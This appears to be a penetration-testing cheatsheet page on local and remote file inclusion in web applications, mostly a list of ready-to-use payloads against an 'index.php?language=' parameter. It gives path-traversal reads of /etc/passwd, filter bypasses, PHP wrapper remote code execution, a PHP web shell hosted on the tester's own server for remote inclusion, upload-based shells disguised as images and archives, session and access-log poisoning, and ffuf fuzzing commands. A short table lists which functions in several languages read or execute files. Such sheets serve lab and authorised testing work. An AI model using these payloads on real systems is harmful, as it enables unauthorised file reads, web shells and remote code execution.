Back to all tools

File Inclusion Cheatsheet

Techniques and payloads for LFI and RFI vulnerabilities.

## ๐Ÿ›ก๏ธ Local File Inclusion (LFI)

## ๐Ÿ” Basic LFI

Command Description
/index.php?language=/etc/passwd Basic LFI
/index.php?language=../../../../etc/passwd LFI with path traversal
/index.php?language=/../../../etc/passwd LFI with name prefix
/index.php?language=./languages/../../../../etc/passwd LFI with approved path

## ๐Ÿ›ก๏ธ LFI Bypasses

Command Description
/index.php?language=....//....//....//....//etc/passwd Bypass basic path traversal filter
/index.php?language=%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%65%74%63%2f%70%61%73%73%77%64 Bypass filters with URL encoding
/index.php?language=non_existing_directory/../../../etc/passwd/./././.[./... repeated ~2048 times] Bypass appended extension with path truncation (obsolete)
/index.php?language=../../../../etc/passwd%00 Bypass appended extension with null byte (obsolete)
/index.php?language=php://filter/read=convert.base64-encode/resource=config Read PHP with base64 filter

## Remote Code Execution

## โš™๏ธ PHP Wrappers

Command Description
/index.php?language=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWyJjbWQiXSk7ID8%2BCg%3D%3D&cmd=id RCE with data wrapper
curl -s -X POST --data '<?php system($_GET["cmd"]); ?>' "http://<SERVER_IP>:<PORT>/index.php?language=php://input&cmd=id" RCE with php://input wrapper
curl -s "http://<SERVER_IP>:<PORT>/index.php?language=expect://id" RCE with expect:// wrapper

## ๐ŸŒ RFI (Remote File Inclusion)

Command Description
echo '<?php system($_GET["cmd"]); ?>' > shell.php && python3 -m http.server <LISTENING_PORT> Host web shell
/index.php?language=http://<OUR_IP>:<LISTENING_PORT>/shell.php&cmd=id Include remote PHP web shell

## ๐Ÿ–ผ๏ธ LFI + Upload

Command Description
echo 'GIF8<?php system($_GET["cmd"]); ?>' > shell.gif Create malicious image
/index.php?language=./profile_images/shell.gif&cmd=id RCE with malicious uploaded image
echo '<?php system($_GET["cmd"]); ?>' > shell.php && zip shell.jpg shell.php Create malicious zip archive โ€˜as jpgโ€™
/index.php?language=zip://shell.zip#shell.php&cmd=id RCE with malicious uploaded zip
php --define phar.readonly=0 shell.php && mv shell.phar shell.jpg Create malicious phar โ€˜as jpgโ€™
/index.php?language=phar://./profile_images/shell.jpg%2Fshell.txt&cmd=id RCE with malicious uploaded phar

## ๐Ÿชต Log Poisoning

Command Description
/index.php?language=/var/lib/php/sessions/sess_nhhv8i0o6ua4g88bkdl9u1fdsd Read PHP session parameters
/index.php?language=<?php system($_GET["cmd"]); ?> Poison PHP session with web shell
/index.php?language=/var/lib/php/sessions/sess_nhhv8i0o6ua4g88bkdl9u1fdsd&cmd=id RCE through poisoned PHP session
curl -s "http://<SERVER_IP>:<PORT>/index.php" -A '<?php system($_GET["cmd"]); ?>' Poison server log
/index.php?language=/var/log/apache2/access.log&cmd=id RCE through poisoned access log

## ๐Ÿงฉ File Inclusion Functions

## PHP

Function Read Content Execute Remote URL
include() / include_once() โœ… โœ… โœ…
require() / require_once() โœ… โœ… โŒ
file_get_contents() โœ… โŒ โœ…
fopen() / file() โœ… โŒ โŒ

## NodeJS

Function Read Content Execute Remote URL
fs.readFile() โœ… โŒ โŒ
fs.sendFile() โœ… โŒ โŒ
res.render() โœ… โœ… โŒ

## Java

Function Read Content Execute Remote URL
include โœ… โŒ โŒ
import โœ… โœ… โœ…

## .NET

Function Read Content Execute Remote URL
@Html.Partial() โœ… โŒ โŒ
@Html.RemotePartial() โœ… โŒ โœ…
Response.WriteFile() โœ… โŒ โŒ
include โœ… โœ… โœ…

## Misc

## ๐Ÿงช Misc Techniques

Command Description
ffuf -w /opt/useful/SecLists/Discovery/Web-Content/burp-parameter-names.txt:FUZZ -u 'http://<SERVER_IP>:<PORT>/index.php?FUZZ=value' -fs 2287 Fuzz page parameters
ffuf -w /opt/useful/SecLists/Fuzzing/LFI/LFI-Jhaddix.txt:FUZZ -u 'http://<SERVER_IP>:<PORT>/index.php?language=FUZZ' -fs 2287 Fuzz LFI payloads
ffuf -w /opt/useful/SecLists/Discovery/Web-Content/default-web-root-directory-linux.txt:FUZZ -u 'http://<SERVER_IP>:<PORT>/index.php?language=../../../../FUZZ/index.php' -fs 2287 Fuzz webroot path
ffuf -w ./LFI-WordList-Linux:FUZZ -u 'http://<SERVER_IP>:<PORT>/index.php?language=../../../../FUZZ' -fs 2287 Fuzz server configurations